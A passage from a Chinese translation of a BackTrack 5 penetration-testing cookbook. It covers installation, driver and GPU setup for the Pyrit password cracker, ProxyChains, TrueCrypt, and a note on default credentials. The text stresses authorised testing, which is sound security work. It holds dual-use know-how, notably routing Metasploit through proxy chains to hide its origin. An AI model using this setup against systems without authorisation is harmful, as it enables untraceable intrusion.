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内容提要

BackTrack是一个基于Linux的渗透测试和安全审计平台，旨在帮助网络安全人员对网络黑客行为进行评估，如今被世界各地的安全社区和安全人员所使用。

本书分为10章，以示例方式讲解了BackTack中很多流行工具的使用方法，其内容涵盖了BackTrack的安装和配置、BackTrack的调整、信息采集、漏洞识别、漏洞利用、提权、无线网络分析、VoIP、密码破解、电子取证等内容。

本书讲解详细，示例丰富，无论你是经验丰富的渗透测试老手，还是打算紧跟时代潮流，希望掌握BackTack 5中常用软件使用方法的新手，都会从本书中获益匪浅。








译者序

与人民邮电出版社合作翻译本书是我的荣幸，但是翻译这样一本安全题材的图书，也是我的隐忧。同是一种载体和同一种技术，铀可以成为洁净能源的来源，也可以变成毁灭文化的武器。计算机信息安全技术也面临同样的问题。距20世纪PC病毒问世尚不足30年，当下各国在探讨计算机信息安全事件时已经是谈虎色变。

请问尊敬的读者：您是否为保护绝大多数人的福祉而学习计算机安全技术呢？每一个“是”的回答，都会令我感到这近百小时的翻译和排版工作是值得的！

如果您有机会看到英文原书，将会发现作者就有这样的忧虑。例如原文有“URL伪造和渗透”的标题，而正文却是现在看到的简单得多的“掌握Arpspoof”——这一部分并不是我们刻意做了修改，而是作者因为害怕被滥用而进行了删减，只是标题没有更正过来。现在高校间计算机安全技术竞赛经常会涉及无线网络部分，我仅仅针对无线网络部分的“彩蛋”进行了标注。其实其他地方也偶尔能见到这种人为的纰漏，不过并不影响阅读；尤其是在互联网的帮助下，在略微理解作者意图后，“彩蛋”都不影响您进行相应的练习和使用。

君子有所为有所不为，知其可为而为之，知其不可为而不为。与作者一样，希望您能将相应的技术用于正确的行为上。同时，希望您有意愿加入我们的非商业活动中来，在学术研究、促进行业进步的公益舞台上展示您独到的风采！

Archer

idf.cn与cisrg.org联合创始人
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特别向Muts、Max和MjM致敬！他们是BackTrack的先驱。








前言

BackTrack是为渗透测试而研发的Linux平台上的军火库，是辅助安全行业专业人士进行安全评估的一个平台，一种纯粹为渗透而产生的原生环境。BackTrack基于Debian GNU/Linux受权发行，主要应用于信息领域的法证调查和渗透测试。Backtrack这个名字由一种应用于渗透测试的算法backtracking而得来。

本书将介绍很多流行工具的操作方法，相信读者可以从中学会渗透测试的基础知识：信息收集、漏洞的识别与利用、提权，以及隐匿踪迹。

本书将从安装BackTrack 5、设置虚拟测试环境着手介绍相关知识。在此之后，我们逐一涉及渗透测试的基本原则，例如信息收集、漏洞识别和利用。在读者熟悉这些之后，本书将开始讲解提权、无线网络分析、VoIP、破解密码和法证调查。

本书适合信息安全专业人士和希望入门的读者阅读。本书不仅提供了详细的介绍，并且列举了很多具体的操作范例，供您快速掌握BackTrack 5和渗透测试的相关领域知识。

希望您能够喜欢这本书！

本书内容


第1章，安装、运行BackTrack
 ，描述如何在测试环境中安装BackTrack，以及如何配置BackTrack，使其适用于您的网络。


第2章，调整BackTrack
 ，讲解安装常见的显卡、无线网卡安装和配置驱动程序的方法。


第3章，信息采集
 ，介绍采集信息阶段需要用到的工具，例如Maltego和Nmap。


第4章，漏洞识别
 ，介绍Nessus和OpenVAS漏洞扫描工具的使用方法。


第5章，漏洞利用
 ，通过对常用服务进行攻击来讲解Metasploit的使用方法。


第6章，提权，
 讲解很多工具（例如Ettercap、SET和Meterpreter）的使用方法。


第7章，无线网络分析，
 讲解如何使用不同的工具评估无线网络安全。


第8章，VoIP
 ，讲解各种用于攻击无线电话及VoIP系统的工具。


第9章，密码破解
 ，讲解密码哈希和用户账户的破解方法。


第10章，电子取证，
 介绍用来恢复数据和加密的工具。

学习本书的先决条件

如果您需要使用书中的方法进行实践，您需要有一台计算机，而且它具有足够大的内存和硬盘空间，还要具有强大的处理能力，这样才能运行虚拟化的测试环境。本书提到的很多工具都需要同时运行多台虚拟机。第1章介绍的虚拟化工具可以在绝大多数的操作系统上运行。

本书读者对象

如果你打算紧跟潮流，希望掌握BackTrack 5中常见软件的使用方法，亦或是渗透测试经验丰富，本书都值得你一读。本书讨论的练习和实践，仅能用于符合道德和法律的用途。针对计算机网络的攻击或信息收集，应当获得相关机构或个人的完全同意。未经许可的操作，将会触犯法律，可能引起诉讼或者带来牢狱之灾。

免责声明：对于滥用本书知识而进行不道德实践的个人及行为，以及可能产生的法律后果，我们不负任何责任。因为同样的法律问题，我们强烈建议您参考本书设置测试环境的章节，建立自己的测试环境。

本书体例

[image: C:\Documents and Settings\Administrator\桌面\Advanced-Penetration-Testing-for-Highly-Secured-Environments-The-Ultimate-Security-Guide-eBook24062012_1093525-24.tif]
 警告或重要的提示会使用这种格式。








第1章　安装BackTrack

本章将讲解下述内容：


	安装BackTrack到硬盘；

	安装BackTrack到USB驱动器；

	安装BackTrack到VirtualBox虚拟机；

	为BackTrack安装VMware虚拟机增强工具；

	恢复启动画面（Splash Screen）；

	变更管理员root密码；

	启动网络服务；

	设置无线网络。



1.1　简介

本章从插入BackTrack Linux DVD到配置网络各个环节，介绍在不同的运行环境中安装和初始化设置BackTrack。

本书介绍的所有操作，均以使用BackTrack 5 R2的GNOME 64-bit为前提。请按照您CPU的硬件架构，选择安装对应的32位或64位BackTrack（
http://www.backtrack-linux.org/downloads/

 ）。常见的Linux的桌面环境（WM）有GNOME与KDE两种，本书讲解GNOME环境的Backtrack。因为两者在界面和具体指令上存在细微区别，所以本书不完全适用于KDE版本的BackTrack。不过即使您使用的是KDE版本，也应能够通过本书详细的介绍毫无障碍地掌握相应要点。

1.2　安装BackTrack到硬盘

将BackTrack安装到磁盘上是安装过程里基础中的基础。硬盘安装带来的最直接的好处就是可以脱离DVD光驱，在硬盘上高速运行BackTrack。


[image: 图像说明文字]


这里介绍的安装方法，将会清空您电脑的硬盘，并且将BackTrack设置为您的首选操作系统。



准备工作

在开始操作之前，请确保您的电脑满足下列要求：


	至少有25GB磁盘空间；

	已经刻录好BackTrack Live DVD。



那么让我们开始安装吧。首先在光驱里放好BackTrack Live DVD，然后从光驱启动电脑。

操作方法

现在开始安装BackTrack到电脑硬盘。

1．在桌面系统成功载入之后，双击选择Install BackTrack
 ，启动安装向导程序（见图1-1）。

[image: ..\图\0101.tif]


图1.1

2．选择语言，然后单击Forward
 按钮。

3．选择您的地理信息和时区，然后单击Forward
 按钮（见图1.2）。

[image: ..\图\0102.tif]


图1.2

4．选好键盘布局后单击Forward
 按钮进入到下一步（见图1.3）。

[image: ..\图\0103.tif]


图1.3

5．使用默认的磁盘分区选项，就是使用整个磁盘安装BackTrack。再次单击Forward
 按钮（见图1.4）。

[image: ..\图\0104.tif]


图1.4

6．将会出现安装选项的摘要。请核对设置是否正确，然后单击Install
 按钮开始安装（见图1.5）。
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图1.5

7．安装程序将会在几分钟的时间内完成安装过程（见图1.6）。
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图1.6

8．安装结束之后，您就可以在脱离DVD的情况下使用BackTrack。单击Restart Now
 重启计算机（见图1.7）。在启动后需要使用系统的账号登录，初始化后的用户名是root
 ，密码为toor
 。
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图1.7

1.3　安装BackTrack到USB驱动器

在USB上使用BackTrack比在DVD上使用BackTrack有很多优点。在USB上使用BackTrack可以保留我们对系统的调整，保留各类文件；因此也可以将系统更新和安装的新软件永久地保留在USB驱动器上。与硬盘安装相比，USB安装可以让我们随时、随身携带BackTrack。

多亏了UNetbootin这样的开放源代码软件的问世，现在我们可以制作可启动的USB驱动器，并且可以在上面安装各式各样的Linux操作系统——这当然也包括了BackTrack。

准备工作

需要做好下列准备工作才能继续安装BackTrack：


	容量8GB以上的USB，将其格式化为FAT 32；

	BackTrack的ISO镜像文件；

	UNetbootin（unetbootin.sourceforge.net/unetbootin-windows-latest.exe
 ）；

	可以从
http://www.backtrack-linux.org/downloads/

 下载BackTrack 5。



操作步骤

现在可以开始安装BackTrack 5到USB驱动器。

1．插入先前格式化好的USB驱动器（见图1.8）。
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图1.8

2．以管理员身份运行UNetbootin
 。

3．选用Diskimage
 选项，浏览并选好下载的BackTrack DVD ISO镜像文件（见图1.9）。
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图1.9

4．设置保留分区的空间大小。本文设置保留分区为最大值，即4096 MB（见图1.10）。从USB启动后，默认情况下USB是只读磁盘，所有文件操作都是在保留分区上进行。UNetbootin会把保留分区以squafs镜像格式存储为磁盘镜像。受FAT系统的限制，这个分区的镜像文件最大是4GB，也就是说4GB是这个分区容量的理论上限。
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图1.10

5．选好USB驱动器并且单击OK
 按钮，开始制作可启动USB。

6．制作过程可能比较慢，它将把相当数量的文件从镜像文件（.iso）中解压缩、复制到USB的分区，还要安装启动引导程序（见图1.11）。
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图1.11

7．安装过程结束之后，BackTrack就完整地安装到了USB驱动器上。此时便可以按照提示重新启动计算机，从USB启动BackTrack（见图1.12）。
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图1.12
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如果您在意USB上存储文件的保密性，可以将USB分区加密。详情请在网上查阅BackTrack5的官方教程：Backtrack 5-Bootable USB Thumb Drive With“Full”Disk Encryption
 。具体网址是
http://www.infosecramblings.com/backtrack/backtrack-5-bootable-usb-thumb-drive
 -with-full-disk-encryption/

 。



1.4　安装BackTrack到VirtualBox虚拟机

本节将介绍在虚拟机的操作系统（guest operating system）上安装BackTrack，这将使用著名的开源虚拟化软件VirtualBox。

准备工作

所需要的先决条件如下：


	安装好最新版本的VirtualBox（
https://www.virtualbox.org/wiki/Downloads

 ）；

	BackTrack的ISO镜像文件。您可以从
http://www.backtrack-linux.org/downloads/

 下载。



操作步骤

现在可以安装BackTrack到Virtualbox虚拟机了。

1．启动VirtualBox并且单击New
 按钮，启动Virtual Machine Wizard。

2．单击Next
 按钮，输入虚拟机的名字，设定操作系统类型以及版本信息。本书介绍的64位BackTrack系统基于64位Gnome Ubuntu开发。因此，选择操作系统为Linux
 ，并且设置版本为Ubuntu（64 bit）
 。单击Next
 按钮继续（见图1.13）。
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图1.13

3．选择可以分配给虚拟机的内存（RAM）。可以选择默认值。单击Next
 继续。

4．为虚拟机创建虚拟硬盘。单击Next
 按钮（见图1.14）。
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图1.14

5．将会打开一个新的向导窗口。此处我们选用默认的VDI文件类型。其他的文件类型可以兼容其他类型的虚拟机平台，没有这种考虑时可直接选用VDI类型。

6．本例可以使用VirtualBox推荐的默认设置。单击Next
 继续。

7．设置虚拟硬盘驱动器的存储位置，以及它容量的上限（见图1.15）。

[image: 图像说明文字]


图1.15

8．检查设置是否正确，确定后单击Create
 按钮。程序将开始创建新的虚拟硬盘文件。

9．程序会返回先前的向导界面，罗列将要创建的虚拟机的各个设置。确认无误后单击Create
 结束这个向导程序（见图1.16）。

10．在虚拟机建好后，我们就可以准备安装BackTrack。

[image: 图像说明文字]


图1.16

11．在VirtualBox主程序窗口，首先选中BackTrack 5 R2 Gnome 64-bit
 ，然后单击Settings
 按钮进行设置（见图1.17）。
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图1.17

12．只要刚才的那些操作无误，接下来就可以用下载好的ISO镜像安装BackTrack。将ISO镜像当作虚拟光驱使用，就省去了大家刻录DVD到物理光盘盘片那漫长的等待时间。在Settings
 界面，单击Storage
 菜单按钮进行存储介质设置（见图1.18）。
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图1.18

13．接下来，在Storage Tree
 下面，选中Empty
 光盘图标，这个图标在IDE Controller
 的下方。在选中虚拟的CD/DVD ROM驱动器后，在屏幕右侧，在Attributes属性下单击那个小小的光盘图标。程序会弹出下拉菜单，从列表中选择BackTrack的ISO镜像文件。如果列表里没有BackTrack的ISO镜像文件，就需要选择Choose a virtual CD/DVD disc file...
 选项，找到先前下载好的ISO镜像。这些步骤完成之后，单击OK
 按钮（见图1.19）。

14．现在已经回到主程序窗口。单击Start
 按钮，然后单击新创建窗口的内部，继续安装过程。之后按照1.2一节所描述的方法安装BackTrack。
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图1.19


[image: 图像说明文字]


安装VirtualBox Extension Pack（即扩展包）可以很大幅度地扩展虚拟化软件的功能，获得更为友好的操作体验。扩展包也增加了USB 2.0(EHCI) 设备支持、VirtualBox RDP/远程桌面、Intel PXE boot ROM网络启动的功能。



1.5　为BackTrack安装VMware虚拟机增强工具

在这个例子中，我们将演示在VMware虚拟机里的BackTrack 5系统安装虚拟机增强工具。即在Guest OS中安装VMware Tools。

准备工作

在开始操作之前，确保下列需求得到满足：


	先前已经在VMware虚拟机中安装好BackTrack 5；

	BackTrack所在的虚拟机可以使用Internet。



操作步骤

现在开始在VMware上安装BackTrack 5。

1．首先设置好安装过Bactrack的虚拟机连接到Internet。在虚拟的BackTrack系统里，打开Terminal
 窗口，输入下列命令进行系统内核相关的准备工作。


   prepare-kernel-sources
1
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当虚拟机使用的是Linux或者Mac OS操作系统时，安装虚拟化增强工具（VMware Tools）都要这样准备内核文件。如果虚拟机使用的是Windows系列操作系统，则不必进行这些操作。不过BackTrack都是Ubuntu Linux，所以这一步也是必须的。



2．在VMware Workstation菜单栏中单击VM | Install VMware Tools...
 （见图1.20）。
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图1.20

3．将VMware Tools installer复制到一个临时目录，并且进入该临时目录中。



   cp /media/VMware\ Tools/VMwareTools-8.8.2-590212.tar.gz /tmp/
   cd /tmp/
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您的VMware Tools的版本可能与本文例子中的不一致，具体文件名的规则是VMwareTools-<version>-<build>.tar.gz。




4．通过下述命令解压缩这个安装包。



   tar zxpf VMwareTools-8.8.2-590212.tar.gz






5．进入VMware Tools的目录进行安装。



   cd vmware-tools-distrib/
   ./vmware-install.pl
   ./vmware-config-tools.pl






6．上述两个程序会提示很多的选项。您都可以按回车键接受所有的默认设置。

7．最后，重启计算机。虚拟化增强工具（VMware Tools）的安装工作大功告成！

工作原理

在第一步，我们准备了kernel source。接下来，我们将VMware Tools CD虚拟插入到操作系统。然后，创建挂载点，并挂载虚拟CD驱动器。最后，我们将安装程序复制到一个临时文件夹中，并解压缩。然后运行安装程序，并保留默认设置。

1.6　修复启动画面（Splash Screen）问题

当我们第一次进入全新安装的BackTrack系统时，会注意到启动画面消失了。要想人工修复这个问题，就要先解压缩启动引导程序Initrd，对其进行修改，然后再次压缩。好在有bash脚本可以自动完成这么麻烦的事。这个脚本的作者是Mati Aharoni（有人也称他为Muts，他是BackTrack的创始人）。

操作步骤

仅需要输入如下命令，就可以修复启动画面：



   fix-splash






这个程序的运行过程如图1.21所示。
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图1.21

1.7　变更root密码

出于安全的考虑，本书建议用户在安装好BackTrack之后立刻修改root的默认密码。当然这无法完全阻止那些恶意入侵系统的不良分子，但这毫无疑问会加大他们的难度。

操作步骤

要修改默认的root密码，需要输入下面的命令 :



   passwd






输入新的密码后按回车键，系统会要求您再次输入密码（见图1.22）。
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图1.22

1.8　启动网络服务

BackTrack上安装有很多网络服务，它们在各种环境中都可以发挥作用；但是在默认情况下，它们处于禁用状态。在这个示例中，我们将讲解使用不同方法来设置和启动每个服务的步骤。

准备工作

为了后续工作，我们需要将虚拟机接入网络，并且配好有效的IP地址。

操作步骤

现在开始配置默认服务。

1．启动Apache Web服务器。



   service apache2 start






通过浏览本地主机（localhost）地址，可以验证服务器是否成功启动。

2．启动SSH服务之前，第一次时要生成SSH秘钥。



   sshd-generate 






3．启动Secure Shell服务器。



   service ssh start






4．要验证服务器是否已经启动而且处于监听状态，可以使用netstat
 命令。



   netstat -tpan | grep 22






5．启动FTP服务器。



   service pure-ftpd start






6．要验证FTP服务器是否启动，可以使用如下命令。



   netstat -ant | grep 21
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也可以使用ps-ef grep 21
 命令。



7．停止某个服务的命令如下。



   service <servicename> stop






此处，<servicename>
 代表了要停止的服务的名称。

例如：



   service apache2 stop






8．要将某项服务配置为在系统启动时自动启动，可使用如下命令。



   update-rc.d–f <servicename> defaults






此处，<servicename>
 就是在系统启动时启用的服务的名称。

例如：



   update-rc.d–f ssh defaults
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也可以通过选择Start
 菜单中的Backtrack | Services
 ，从BackTrack的开始菜单中启动和停止服务。



1.9　设置无线网络

在本章的最后一个示例中，我们介绍如何使BackTrack系统接入带有密码保护的无线网络。这就要用到Wicd Network Manager和无线网络的认证信息。无线网络有很多优点，在使用BackTrack的时候，WiFi至少可以免去布线的辛劳。

操作步骤

开始设置无线网络。

1．通过桌面启动网络管理程序：单击Applications
 菜单，找到Internet
 | Wicd Network Manager
 ，或者直接在Terminal
 窗口中输入下列命令。



   wicd-gtk --no-tray






2．屏幕上将会弹出Wicd Network Manager的窗口，里面会显示出周围可用无线网络（见图1.23）。
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图1.23

3．选择某个网络，单击Properties
 按钮，输入网络的具体参数。设置好之后单击OK
 （见图1.24）。
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图1.24

4．最后单击Connect
 按钮进行连接。无线网络已经接通！

本例小结

在这个示例中，我们设置好了无线网络。实际上我们通过网络管理器（network manager）将电脑连接到无线路由器组建的无线网络里。




1
 　译者注：Ubuntu系统需要略微多作些工作。在多数系统中需要执行命令：cp -rf /usr/src/ linux/include/generated/* /usr/src/linux/include/linux/。








第2章　调整BackTrack

本章将讲解下述内容：


	准备kernel headers；

	安装Broadcom驱动；

	安装、配置ATI显卡驱动；

	安装、配置NVIDIA显卡驱动；

	应用更新并配置额外的安全工具；

	设置ProxyChains；

	目录加密。



2.1　简介

本章将介绍调整BackTrack系统的方法，以便充分使用其功能。本文将详细介绍安装与配置ATI、NVIDIA GPU驱动程序的方法，并且介绍后续章节将会用到的一些工具。部分ATI系列与NVIDIA系列显卡的GPU（图形处理单元）可以用来进行独立于CPU的运算。本章最后介绍BackTrack自带的ProxyChains和数字信息加密的程序。

2.2　准备kernel headers

实际操作中，编译程序的事情很常见。但是在编译程序时，需要准备内核源代码kernel headers的情况却很少见。kernel headers
 就是Linux内核的源代码。在第一个示例中，我们将介绍编译kernel headers的详细步骤。

准备工作

本示例需要将系统接入Internet。

操作步骤

现在开始准备kernel headers。

1．执行下面的命令开始准备内核源码（见图2.1）：



　　prepare-kernel-sources
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图2.1

2．然后复制下述目录及其全部内容。



　　cd /usr/src/linux
　　cp -rf include/generated/* include/linux/





3．现在kernel headers就准备好了。如果在编译某些程序时需要使用kernel headers，这些源代码就可以被那些程序自动调用。

2.3　安装Broadcom驱动

这个示例将演示安装Broadcom官方的混杂模式的无线驱动程序的具体方法。使用BroadCom无线USB适配器可以最大程度地确保我们能够在BackTrack 5上成功地模拟无线USB AP。本书的后续示例均以安装好Broadcom无线驱动程序为前提。

准备工作

本示例需要将系统接入Internet。

操作步骤

现在开始安装Broadcom驱动程序。

1．开启终端窗口，从
http://www.broadcom.com/support/802.11/linux_sta.php

 下载与硬件对应的Broadcom驱动程序（见图2.2）。



　　cd /tmp/
　　wget http://www.broadcom.com/docs/linux_sta/hybri-
　　portsrc_x86_64-v5_100_82_112.tar.gz
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图2.2

2．使用如下脚本解压缩下载后的驱动程序。



　　mkdir broadcom
　　tar xvfz hybrid-portsrc_x86_64-v5_100_82_112.tar.gz -C /tmp/broadcom





3．修改文件wl_cfg80211.c
 。在5.100.82.112版本中有一个bug。在内核版本2.6.39下，这个bug会带来编译上的麻烦。因此必须修改这个文件：



　　vim /tmp/broadcom/src/wl/sys/wl_cfg80211.c





　 在文件第1814行附近，找到下面这行代码：


　　#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 39)



　 将其替换为：


　　#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 39)



　 完成之后，保存文件。

4．编译代码。



　　make clean
　　make
　　make install





5．更新依赖关系。



　　depmod -a





6．通过执行下述命令找到已经加载的内核模块。



　　lsmod | grep b43\|ssb\|bcma





7．通过执行下述命令删除找到的模块。



　　rmmod <module>b43





　 此处的 <module>
 应当为：b43
 、ssb
 或者bcma
 .

8．屏蔽这个模块，防止计算机在启动的过程中加载它。



　　echo "blacklist <module>" >> /etc/modprobe.d/blacklist.conf





　 此处的 <module>
 应当为b43
 、ssb
 、bcma
 或者wl
 。

9．最后将新编译的模块添加到Linux内核之中，并使其在启动过程中自动加载。



　　modprobe wl
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该示例的另一种方法是在内核配置中启用b43驱动程序。可通过下述网站找到完整的指导：
http://www.backtrack-linux.org/wiki/index.php?title=Enable_b43_
 drivers_in_Backtrack5_r2

 。



2.4　安装、配置ATI显卡驱动程序

在这个示例中，我们详细介绍ATI显卡驱动程序的安装和配置，然后介绍AMD加速并行处理（Accelerated Parallel Processing，APP）SDK、CAL++、OpenCL。通过充分使用ATI流处理技术（Stream Technology），我们可以在GPU上运行那些通常在CPU上运行的高强度运算任务。有关ATI流处理技术的更多细节，请访问www.amd.com/stream
 。

准备工作

要运行本示例，需要满足如下条件：


	系统已经接入Internet；

	在开始该任务之前，已经准备好kernel headers。本章2.2节已经讲解过操作方法。



操作步骤

现在开始安装和配置ATI驱动程序。

1．下载系统所需要的ATI显卡驱动程序（见图2.3）。



　　cd /tmp/
　　wget http://www2.ati.com/drivers/linux/amd-driver-installer-
　　12-1-x86.x86_64.run `
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图2.3


[image: Advanced-Penetration-Testing-for-Highly-Secured-Environments-The-Ultimate-Security-Guide-eBook24062012_1093525-24]
 　　也可以从如下站点下载显卡驱动程序：
http://support.amd.com/us/gpudownload/Pages/index.aspx

 。



2．输入下述命令安装AMD ATI显卡驱动（见图2.4）。



　　sh amd-driver-installer-12-1-x86.x86_64.run
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图2.4

3．安装完成后，建议重启系统以使新安装的驱动生效。重启系统也会避免系统不稳定的问题。

4．安装后面将用到的依赖包。



　　apt-get install libroot-python-dev libboost-python-dev 
　　libboost1.40-all-dev cmake





5．下载并解压缩AMD APP SDK，请根据您的CPU架构下载相应的安装包。



　　wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.6-
　　lnx64.tgz


  　
　　mkdir AMD-APP-SDK-v2.6-lnx64

　　tar zxvf AMD-APP-SDK-v2.6-lnx64.tgz–C /tmp/AMD-APP-SDK-v2.6-
　　lnx64
　　cd AMD-APP-SDK-v2.6-lnx64





6．通过下列命令安装AMD APP SDK。



　　sh Install-AMD-APP.sh





7．在bash的配置文件.bashrc
 中，设置ATI流路径ATISTREAMSDKROOT。



　　echo export ATISTREAMSDKROOT=/opt/AMDAPP/ >> ～/.bashrc
　　source～/.bashrc





8．下载并编译CAL++。



　　cd /tmp/
　　svn co https://calpp.svn.sourceforge.net/svnroot/calpp calpp
　　cd calpp/trunk


　　cmake
　　make
　　make install





9．下载并编译Pyrit。



　　cd /tmp/
　　svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src
　　cd pyrit_src/pyrit


　　python setup.py build
　　python setup.py install





10．生成并安装OpenCL。



　　 cd /tmp/pyrit_src/cpyrit_opencl
　　 python setup.py build
　　 python setup.py install





11．修改cpyrit_calpp
 。



　　 cd /tmp/pyrit_source/cpyrit_calpp
　　 vi setup.py





　　找到下面的内容：



　　 VERSION = '0.4.0-dev'





　　将其替换为



　　 VERSION = '0.4.1-dev'





　　还要找到下面这行：


　　 CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR,
　　 'include'))



　　将其替换为


　　 CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR,
　　 'include/CAL'))



12．最后，将ATI GPU模块添加到Pyrit中。



　　 python setup.py build
　　 python setup.py install
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　 如需显示可用的CAL++ 设备和它加载在CPU内核中的模块，可输入如下命令：



   pyrit list_cores





要测试其性能，可以输入如下命令：



   pyrit benchmark







2.5　安装、配置NVIDIA显卡驱动程序

在这一示例中，我们将亲密接触CUDA。CUDA是NVIDIA的并行计算架构。本示例首先安装NVIDIA开发的显卡驱动程序，然后安装CUDA工具包。借助强大的GPU，我们的计算机性能会具有一个显著的提升。在密码破解这样的场景中，这些宝贵的性能将显示出巨大的现实意义。


[image: 图像说明文字]


　有关CUDA的更多信息，请访问其Web站点：
http://www. nvidia.com/object/cuda_home_new.html

 。



准备工作

要运行本示例，需要满足如下条件：


	系统已经接入Internet；

	在开始该任务之前，已经准备好kernel headers。本章前文的2.2节已经讲解过操作方法。

	需要关闭X会话，才能继续安装NVIDIA驱动程序。关闭X，意味着彻底关闭图形界面。



操作步骤

现在开始安装和配置NVIDIA显卡驱动程序。

1．下载NVIDIA开发的显卡驱动程序，请根据您的CPU架构选择相应安装包（见图2.5）。
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图2.5



　　cd /tmp/
　　wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/driv
    ers/NVIDIA-Linux-x86_64-285.05.33.run







2．安装驱动程序。



　　chmod +x NVIDIA-Linux-x86_64-285.05.33.run
　　./NVIDIA-Linux-x86_64-285.05.33.run–kernel-source-path='/usr/src/linux'





3．下载CUDA工具包。



   wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/tool
   kit/cudatoolkit_4.1.28_linux_64_ubuntu11.04.run 








4．将CUDA工具包安装到/opt
 目录中。



　　chmod +x cudatoolkit_4.1.28_linux_64_ubuntu11.04.run
　　./cudatoolkit_4.1.28_linux_64_ubuntu11.04.run





5．配置nvcc工作所需要的环境变量。



　　echo PATH=$PATH:/opt/cuda/bin >> ～/.bashrc
　　echo LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/cuda/lib >> ～/.bashrc
　　echo export PATH >> ～/.bashrc
　　echo export LD_LIBRARY_PATH >> ～/.bashrc





6．运行下述命令使变量生效。



　　source～/.bashrc
　　ldconfig





7．安装Pyrit的依赖包。



　　apt-get install libssl-dev python-dev python-scapy





8．下载并且安装GPU应用工具Pyrit。



　　svn co　http://pyrit.googlecode.com/svn/trunk/ pyrit_src
　　cd pyrit_src/pyrit


　　python setup.py build
　　python setup.py install





9．最后，将NVIDIA GPU模块添加到Pyrit中。



　　cd /tmp/pyrit_src/cpyrit_cuda
　　python setup.py build
　　python setup.py install
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如果需要验证nvcc是否安装成功，请输入下述命令：



　　nvcc–V





如果需要测试其性能，可以使用下述命令：



　　pyrit benchmark







2.6　应用更新并配置额外的安全工具

在这一示例中，我们将介绍更新BackTrack的方法，以及配置一些辅助工具的过程，这些知识在后续章节及其示例中非常有用。由于BackTrack会不断更新各类应用程序，也许没过几天，您就会发现，之前通过DVD ROM安装的程序应该升级更新了。我们将介绍安装更新的方法、获取Nessus激活码以及安装Squid的方法。

操作步骤

现在准备应用更新，并配置额外的安全工具。

1．使用软件仓库（repository）最近的更改来更新本机软件包的索引。



　　apt-get update





2．升级现有的软件包。



　　apt-get upgrade





3．升级操作系统（如果有系统更新的话）。



　　apt-get dist-upgrade





4．在下述站点注册，获取Nessux激活码。


　　http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code 





5．执行下述命令，激活Nessus。



　　/opt/nessus/bin/nessus-fetch --register A60F-XXXX-XXXX-XXXX-0006





　 此处的A60F-XXXX-XXXX-XXXX-0006
 应为您刚获取的激活码 。

6．为Nessus的Web界面创建一个用户账户：



　　/opt/nessus/sbin/nessus-adduser





7．输入下述命令，启动Nessus服务器。



　　/etc/init.d/nessusd start





8．安装Squid。



　　apt-get install squid3





9．阻止Squid在启动过程中自动加载。



　　update-rc.d -f squid3 remove
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如果要在软件仓库（repository）服务器上查找特定的软件包，可以在apt-get update
 之后执行下述命令：



   apt-cache search 





在这里，<keyword>
 应是软件包名称或者一个正则表达式。



2.7　设置ProxyChains

ProxyChains用来强行使某个应用程序的所有TCP连接经由指定的代理服务器建立。在这个示例中，我们将讲解这个任务的操作方法，即如何强制某应用程序的连接经由用户定义的一系列代理服务器，从而阻断收发双方之间的直接连接。

操作步骤

现在开始设置ProxyChains。

1．打开ProxyChains的配置文件。



　　vim /etc/proxychains.conf





2．删除我们打算使用的链接类型（chaining type）的注释标记，在本例中是dynamic_chain
 （见图2.6）。
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图2.6

3．在列表中添加一些代理服务器（见图2.7）。
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图2.7

4．通过我们的链接代理来解析目标主机。



　　proxyresolv www.targethost.com

 





5．现在，我们可以通过代理来运行想要使用的应用程序。例如：



　　proxychains msfconsole





2.8　目录加密

本章最后一个示例与信息加密相关。我们将使用TrueCrypt来隐藏重要或机密的文件，通过加密以防止机要数据意外地被他人擅自访问。

操作步骤

执行如下步骤。

1．单击Applications
 菜单，然后导航到BackTrack | Forensics | Digital Anti Forensics | install truecrypt
 。单击Install TrueCrypt
 ，然后按照图2.8的指导进行安装。
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图2.8

2．通过Applications | BackTrack | Forensics | Digital Anti Forensics | truecrypt
 启动TrueCrypt，应该可以看到如图2.9所示的窗口。
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图2.9

3．单击Create Volume
 打开TrueCrypt Volume Creation Wizard
 。

4．这里使用默认的选项，单击Next
 。

5．选择Standard TrueCrypt volume
 ，然后单击Next
 。

6．单击Select File…
 按钮，指定新TrueCrypt加密卷指定名称和位置，然后单击Save
 （见图2.10）。
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图2.10

7．单击Next
 按钮，选择打算使用的加密和哈希算法。

8．在下一个屏幕中，指定加密卷的容量。

9．现在，为这个加密卷设置密码，完成后单击Next
 。

10．选择文件系统类型。

11．根据您的需要，选择是否需要跨平台支持（建议启用）。

12．接下来，程序会要求我们在窗口中随意移动鼠标，以增强加密密钥的加密强度。然后单击Format
 按钮。

13．当格式化完成之后，TrueCrypt加密卷就制作好了。单击OK
 和Exit
 。

14．此时会返回TrueCrypt窗口。

15．要解密我们的加密卷时，从列表中选择一个接口（slot），然后单击Select File…
 ，打开之前创建的加密卷。

16．单击Mount
 然后输入相应的密码，再单击OK
 （见图2.11）。

17．现在，我们可以通过双击那个接口或者是通过挂载（mount）目录，就可以访问加密卷了。在该目录中保存文件，结束后只需单击Dismount All
 。
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图2.11

本例小结

在这个示例中，我们安装了TrueCrypt，创建了一个受保护的卷，并将其挂载（mount）。TrueCrypt简单易用，能够很好地保护数据的安全，防止他人偷窥机要数据。








第3章　信息收集

本章将讲解下述内容：


	服务遍历；

	确定目标网段；

	识别在线设备；

	扫描开放端口；

	识别操作系统；

	识别系统服务；

	使用Maltego进行威胁评估；

	绘制网络拓扑。



3.1　简介

信息收集是网络攻击最重要的阶段之一。要想发起攻击，我们就需要收集目标的各类信息。所获得的信息越多，攻击成功的概率也就越大。

我也想强调这一阶段重要的一方面工作，即文档管理。在撰写本书时，BackTrack的最新版本已经包含了一些这方面用途的工具，它们用以帮助用户整理、组织从目标那里获得的数据。这些工具也有助于我们更好地理解、使用所获信息。在这方面，Maltego CaseFile与KeepNote就十分出色。

3.2　服务遍历

